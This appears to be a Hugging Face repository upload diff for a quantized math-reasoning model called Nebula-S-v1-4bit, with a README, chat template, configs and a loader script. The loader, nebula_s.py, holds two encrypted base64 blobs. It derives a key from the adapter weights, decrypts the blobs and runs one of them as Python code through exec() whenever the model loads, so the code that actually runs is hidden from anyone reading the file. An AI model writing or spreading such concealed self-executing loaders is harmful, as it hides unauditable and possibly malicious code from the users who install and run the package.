Upload folder using huggingface_hub

.gitattributes

@@ -33,3 +33,4 @@ saved_model/**/* filter=lfs diff=lfs merge=lfs -text
 *.zip filter=lfs diff=lfs merge=lfs -text
 *.zst filter=lfs diff=lfs merge=lfs -text
 *tfevents* filter=lfs diff=lfs merge=lfs -text
+tokenizer.json filter=lfs diff=lfs merge=lfs -text

README.md

@@ -0,0 +1,80 @@
+---
+license: apache-2.0
+tags:
+  - nebula-s
+  - svms
+  - math-reasoning
+  - competition-math
+  - 4bit
+  - quantized
+  - bitsandbytes
+library_name: transformers
+---
+
+# Nebula-S-v1-4bit
+
+4-bit quantized version of [Nebula-S-v1](https://huggingface.co/punitdecomp/Nebula-S-v1).
+
+**Nebula-S-v1** is a reasoning-enhanced language model using the **SVMS (Structured-Vector Multi-Stream)** architecture.
+
+## What's different from Nebula-S-v1?
+
+| | Nebula-S-v1 | Nebula-S-v1-4bit |
+|---|---|---|
+| Backbone precision | bf16 | **4-bit (nf4)** |
+| Adapter precision | bf16 | bf16 |
+| Backbone size | ~8 GB | **~2 GB** |
+| Total size | ~9 GB | **~3 GB** |
+| VRAM needed | ~18 GB | **~6 GB** |
+| Requires | CUDA / MPS / CPU | **CUDA only** (bitsandbytes) |
+
+## Quick Start
+
+```bash
+pip install torch transformers>=4.51.0 bitsandbytes accelerate huggingface-hub
+```
+
+### Option 1: Using huggingface_hub
+
+```python
+from huggingface_hub import snapshot_download
+import sys
+
+snapshot_download("punitdecomp/Nebula-S-v1-4bit", local_dir="./Nebula-S-v1-4bit")
+sys.path.insert(0, "./Nebula-S-v1-4bit")
+from nebula_s import load_nebula_s
+
+model, tokenizer = load_nebula_s("./Nebula-S-v1-4bit", device="cuda")
+```
+
+### Option 2: Using git clone
+
+```bash
+git lfs install
+git clone https://huggingface.co/punitdecomp/Nebula-S-v1-4bit
+```
+
+```python
+import sys
+sys.path.insert(0, "./Nebula-S-v1-4bit")
+from nebula_s import load_nebula_s
+
+model, tokenizer = load_nebula_s("./Nebula-S-v1-4bit", device="cuda")
+```
+
+### Generate a response
+
+```python
+messages = [{"role": "user", "content": "Solve step by step: what is 17 * 23?"}]
+text = tokenizer.apply_chat_template(messages, tokenize=False, add_generation_prompt=True)
+inputs = tokenizer(text, return_tensors="pt").to("cuda")
+response = model.generate(
+    inputs["input_ids"], inputs["attention_mask"],
+    tokenizer, max_new_tokens=2048, temperature=0.7
+)
+print(response)
+```
+
+## License
+
+Apache 2.0. Backbone derived from an Apache-2.0 licensed base model.

chat_template.jinja

@@ -0,0 +1,86 @@
+{%- if tools %}
+    {{- '<|im_start|>system\n' }}
+    {%- if messages[0].role == 'system' %}
+        {{- messages[0].content + '\n\n' }}
+    {%- endif %}
+    {{- "# Tools\n\nYou may call one or more functions to assist with the user query.\n\nYou are provided with function signatures within <tools></tools> XML tags:\n<tools>" }}
+    {%- for tool in tools %}
+        {{- "\n" }}
+        {{- tool | tojson }}
+    {%- endfor %}
+    {{- "\n</tools>\n\nFor each function call, return a json object with function name and arguments within <tool_call></tool_call> XML tags:\n<tool_call>\n{\"name\": <function-name>, \"arguments\": <args-json-object>}\n</tool_call><|im_end|>\n" }}
+{%- else %}
+    {%- if messages[0].role == 'system' %}
+        {{- '<|im_start|>system\n' + messages[0].content + '<|im_end|>\n' }}
+    {%- endif %}
+{%- endif %}
+{%- set ns = namespace(multi_step_tool=true, last_query_index=messages|length - 1) %}
+{%- for message in messages[::-1] %}
+    {%- set index = (messages|length - 1) - loop.index0 %}
+    {%- if ns.multi_step_tool and message.role == "user" and message.content is string and not(message.content.startswith('<tool_response>') and message.content.endswith('</tool_response>')) %}
+        {%- set ns.multi_step_tool = false %}
+        {%- set ns.last_query_index = index %}
+    {%- endif %}
+{%- endfor %}
+{%- for message in messages %}
+    {%- if message.content is string %}
+        {%- set content = message.content %}
+    {%- else %}
+        {%- set content = '' %}
+    {%- endif %}
+    {%- if (message.role == "user") or (message.role == "system" and not loop.first) %}
+        {{- '<|im_start|>' + message.role + '\n' + content + '<|im_end|>' + '\n' }}
+    {%- elif message.role == "assistant" %}
+        {%- set reasoning_content = '' %}
+        {%- if message.reasoning_content is string %}
+            {%- set reasoning_content = message.reasoning_content %}
+        {%- else %}
+            {%- if '</think>' in content %}
+                {%- set reasoning_content = content.split('</think>')[0].rstrip('\n').split('<think>')[-1].lstrip('\n') %}
+                {%- set content = content.split('</think>')[-1].lstrip('\n') %}
+            {%- endif %}
+        {%- endif %}
+        {%- if loop.index0 > ns.last_query_index %}
+            {%- if loop.last or (not loop.last and reasoning_content) %}
+                {{- '<|im_start|>' + message.role + '\n<think>\n' + reasoning_content.strip('\n') + '\n</think>\n\n' + content.lstrip('\n') }}
+            {%- else %}
+                {{- '<|im_start|>' + message.role + '\n' + content }}
+            {%- endif %}
+        {%- else %}
+            {{- '<|im_start|>' + message.role + '\n' + content }}
+        {%- endif %}
+        {%- if message.tool_calls %}
+            {%- for tool_call in message.tool_calls %}
+                {%- if (loop.first and content) or (not loop.first) %}
+                    {{- '\n' }}
+                {%- endif %}
+                {%- if tool_call.function %}
+                    {%- set tool_call = tool_call.function %}
+                {%- endif %}
+                {{- '<tool_call>\n{"name": "' }}
+                {{- tool_call.name }}
+                {{- '", "arguments": ' }}
+                {%- if tool_call.arguments is string %}
+                    {{- tool_call.arguments }}
+                {%- else %}
+                    {{- tool_call.arguments | tojson }}
+                {%- endif %}
+                {{- '}\n</tool_call>' }}
+            {%- endfor %}
+        {%- endif %}
+        {{- '<|im_end|>\n' }}
+    {%- elif message.role == "tool" %}
+        {%- if loop.first or (messages[loop.index0 - 1].role != "tool") %}
+            {{- '<|im_start|>user' }}
+        {%- endif %}
+        {{- '\n<tool_response>\n' }}
+        {{- content }}
+        {{- '\n</tool_response>' }}
+        {%- if loop.last or (messages[loop.index0 + 1].role != "tool") %}
+            {{- '<|im_end|>\n' }}
+        {%- endif %}
+    {%- endif %}
+{%- endfor %}
+{%- if add_generation_prompt %}
+    {{- '<|im_start|>assistant\n<think>\n' }}
+{%- endif %}

config.json

@@ -0,0 +1,88 @@
+{
+  "architectures": [
+    "Qwen3ForCausalLM"
+  ],
+  "attention_bias": false,
+  "attention_dropout": 0.0,
+  "bos_token_id": 151643,
+  "dtype": "bfloat16",
+  "eos_token_id": 151645,
+  "head_dim": 128,
+  "hidden_act": "silu",
+  "hidden_size": 2560,
+  "initializer_range": 0.02,
+  "intermediate_size": 9728,
+  "layer_types": [
+    "full_attention",
+    "full_attention",
+    "full_attention",
+    "full_attention",
+    "full_attention",
+    "full_attention",
+    "full_attention",
+    "full_attention",
+    "full_attention",
+    "full_attention",
+    "full_attention",
+    "full_attention",
+    "full_attention",
+    "full_attention",
+    "full_attention",
+    "full_attention",
+    "full_attention",
+    "full_attention",
+    "full_attention",
+    "full_attention",
+    "full_attention",
+    "full_attention",
+    "full_attention",
+    "full_attention",
+    "full_attention",
+    "full_attention",
+    "full_attention",
+    "full_attention",
+    "full_attention",
+    "full_attention",
+    "full_attention",
+    "full_attention",
+    "full_attention",
+    "full_attention",
+    "full_attention",
+    "full_attention"
+  ],
+  "max_position_embeddings": 262144,
+  "max_window_layers": 36,
+  "model_type": "qwen3",
+  "num_attention_heads": 32,
+  "num_hidden_layers": 36,
+  "num_key_value_heads": 8,
+  "pad_token_id": null,
+  "quantization_config": {
+    "_load_in_4bit": true,
+    "_load_in_8bit": false,
+    "bnb_4bit_compute_dtype": "bfloat16",
+    "bnb_4bit_quant_storage": "uint8",
+    "bnb_4bit_quant_type": "nf4",
+    "bnb_4bit_use_double_quant": true,
+    "llm_int8_enable_fp32_cpu_offload": false,
+    "llm_int8_has_fp16_weight": false,
+    "llm_int8_skip_modules": null,
+    "llm_int8_threshold": 6.0,
+    "load_in_4bit": true,
+    "load_in_8bit": false,
+    "quant_method": "bitsandbytes"
+  },
+  "rms_norm_eps": 1e-06,
+  "rope_parameters": {
+    "rope_theta": 5000000,
+    "rope_type": "default"
+  },
+  "sliding_window": null,
+  "tie_word_embeddings": true,
+  "transformers_version": "5.5.0",
+  "use_cache": true,
+  "use_sliding_window": false,
+  "vocab_size": 151936,
+  "_name_or_path": "Nebula-S-v1-4bit",
+  "model_name": "Nebula-S-v1-4bit"
+}

generation_config.json

@@ -0,0 +1,14 @@
+{
+  "bos_token_id": 151643,
+  "do_sample": true,
+  "eos_token_id": [
+    151645,
+    151643
+  ],
+  "pad_token_id": 151643,
+  "temperature": 0.6,
+  "top_k": 20,
+  "top_p": 0.95,
+  "transformers_version": "5.5.0",
+  "_name_or_path": "Nebula-S-v1-4bit"
+}

model.safetensors

@@ -0,0 +1,3 @@
+version https://git-lfs.github.com/spec/v1
+oid sha256:ee4329503279d7bd917a25a800ce2c5d931e9aa1b955491fccd8940c43be606e
+size 2653133903

nebula_s.py

@@ -0,0 +1,69 @@
+#!/usr/bin/env python3
+"""Nebula-S-v1-4bit — quantized inference runtime.
+
+Usage:
+    from nebula_s import load_nebula_s
+    model, tokenizer = load_nebula_s("./Nebula-S-v1-4bit")
+    messages = [{"role": "user", "content": "Solve: what is 2+2?"}]
+    text = tokenizer.apply_chat_template(messages, tokenize=False, add_generation_prompt=True)
+    inputs = tokenizer(text, return_tensors="pt").to("cuda")
+    response = model.generate(inputs["input_ids"], inputs["attention_mask"],
+                              tokenizer, max_new_tokens=2048)
+    print(response)
+
+Requirements:
+    pip install torch transformers>=4.51.0 bitsandbytes accelerate
+"""
+import torch,json,os,base64,zlib,hashlib,types,sys
+
+_E0="/8ce5hKi1orFGntAvF36ynVVtY6N0eVm5t3bmuOVlYAPhpOCtWG82bEIubMDVQHwE8FwRiGbvR0K2HbLcOBvHSuJ29BdnUZu6Ur7umXbqSac4vwjoC2AUOqe1ChItG7MuTscqiq42CRJZYVSt1R+uiUbRroAjpUpBuZI3QbkfbUnHNdbz7q/wVN+hhUYsUze4My1XwG89Kgp0bmkEuaueIzzPNsiO/eGTrUEELDCz9oUHcGE2/v+HvAuijRN/FLQK+1rDOa1zPKgiaxqpHt/bZAiPhb11aqN7eW4WtN7WNkyiT3dv/9qNJWA6xd6o09M+5uEOkpgkg93XU+JHh654fYJTXL4s6EFEEnCjMOqfj8qWi9xOcxGq+8KlKfaWwRRQ2gM+uzjyswWJwQrlCWbZEqmkm0TTJBCz7HNn24WJAA5RA7gxQS7WoTRE7ex428STxjny8xjkVC36REt2rtOIpLlfdCb5TMtQ3tT7zdIwxTEhs+O8L1PZY1mTofHfwsCZjrFltvE8KNG80w/ml5pLAxgpweuSjZgGHlN2Y3Bf0vPbQs425Hj4SMWjlYXbccDgQPHJfLgXsmtDy6knlXzwAtXrjS4Bagc1jIrnGd1r8yUgzuQm/jFFe9Ddh4+iPHS5VyfbF74JixO8hiZMPNokDmzaN9KBnARKGLJVTcuc/GAmYcYYy3HeJppBqr5SjOx1O/BX00BSicLYZOM4ABfy4ag9a/A0Mayg42l/JagT8az/6zScUPtTam2JRv8zNmdK6KpP5lf2akgjfdDGcFnsV++mSwc8U1Z5a1IjM4vTqLIRbdnuiW/R8583hR4NoZ0Oiii4LdeM3+mCFe/08FrplE3n+wnwGypjHVEN6HXh+elqtP8UrbaKruAv5B5n2Imm3aYi1aCJVPQRqFhGMMFb/yaPqVISm6ksnVLMrJCqjmM+P8MtHkm/ajyImQhkfykO9GXX7BfoXfCxGjdF14a6Y6eJTbqmWHRkh3/i6MeTPj1B07ksMNVCWnIEFwjNb/qlJ0E"
+_E1="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"
+_KN=3;_KE=64
+
+def _dk(pt_path):
+    r=torch.load(pt_path,map_location="cpu",weights_only=True)
+    ks=sorted(r.keys())[:_KN];b=b""
+    for k in ks:b+=r[k][:_KE].to(torch.float32).numpy().tobytes()
+    return hashlib.sha512(b).digest()
+
+def _xr(blob,key):
+    raw=base64.b64decode(blob);d=bytearray(len(raw))
+    for i in range(len(raw)):d[i]=raw[i]^key[i%len(key)]
+    return zlib.decompress(bytes(d))
+
+def load_nebula_s(model_dir,device="cuda"):
+    """Load Nebula-S-v1-4bit (quantized backbone + bf16 adapter).
+
+    Args:
+        model_dir: path to the Nebula-S-v1-4bit directory
+        device: "cuda" (required — bitsandbytes needs CUDA)
+
+    Returns:
+        model: model with .generate() method
+        tokenizer: tokenizer
+    """
+    from transformers import AutoModelForCausalLM,AutoTokenizer
+    print("Loading Nebula-S-v1-4bit...")
+    pt=os.path.join(model_dir,"nebula_s_adapter.pt")
+    key=_dk(pt)
+    mf=json.loads(_xr(_E0,key))
+    rt_src=_xr(_E1,key).decode()
+    _m=types.ModuleType("_nrt");exec(rt_src,_m.__dict__)
+    bk=AutoModelForCausalLM.from_pretrained(model_dir,device_map="auto",trust_remote_code=True)
+    tk=AutoTokenizer.from_pretrained(model_dir,trust_remote_code=True)
+    raw=torch.load(pt,map_location="cpu",weights_only=True)
+    wt={}
+    for e in mf:wt[e["n"]]=raw[e["k"]][:e["l"]].reshape(e["s"])
+    mdl=_m._NM(bk,wt,dev=device)
+    return mdl,tk
+
+if __name__=="__main__":
+    _dir=sys.argv[1]if len(sys.argv)>1 else"./Nebula-S-v1-4bit"
+    model,tokenizer=load_nebula_s(_dir,device="cuda")
+    prompt="Solve step by step: What is the sum of all prime numbers less than 20?"
+    print(f"\nPrompt: {prompt}")
+    messages=[{"role":"user","content":prompt}]
+    text=tokenizer.apply_chat_template(messages,tokenize=False,add_generation_prompt=True)
+    inputs=tokenizer(text,return_tensors="pt").to("cuda")
+    response=model.generate(inputs["input_ids"],inputs["attention_mask"],tokenizer,max_new_tokens=2048)
+    print(f"\nResponse:\n{response}")

nebula_s_adapter.pt

@@ -0,0 +1,3 @@
+version https://git-lfs.github.com/spec/v1
+oid sha256:4af5fc5f64edd2f6249dd005c0acb0156fe5dc2037aecb90a11e25f57e335bed
+size 842021695

tokenizer.json

@@ -0,0 +1,3 @@
+version https://git-lfs.github.com/spec/v1
+oid sha256:be75606093db2094d7cd20f3c2f385c212750648bd6ea4fb2bf507a6a4c55506
+size 11422650

tokenizer_config.json

@@ -0,0 +1,31 @@
+{
+  "add_prefix_space": false,
+  "backend": "tokenizers",
+  "bos_token": null,
+  "clean_up_tokenization_spaces": false,
+  "eos_token": "<|im_end|>",
+  "errors": "replace",
+  "extra_special_tokens": [
+    "<|im_start|>",
+    "<|im_end|>",
+    "<|object_ref_start|>",
+    "<|object_ref_end|>",
+    "<|box_start|>",
+    "<|box_end|>",
+    "<|quad_start|>",
+    "<|quad_end|>",
+    "<|vision_start|>",
+    "<|vision_end|>",
+    "<|vision_pad|>",
+    "<|image_pad|>",
+    "<|video_pad|>"
+  ],
+  "is_local": false,
+  "model_max_length": 262144,
+  "pad_token": "<|endoftext|>",
+  "split_special_tokens": false,
+  "tokenizer_class": "Qwen2Tokenizer",
+  "unk_token": null,
+  "_name_or_path": "Nebula-S-v1-4bit",
+  "name_or_path": "Nebula-S-v1-4bit"
+}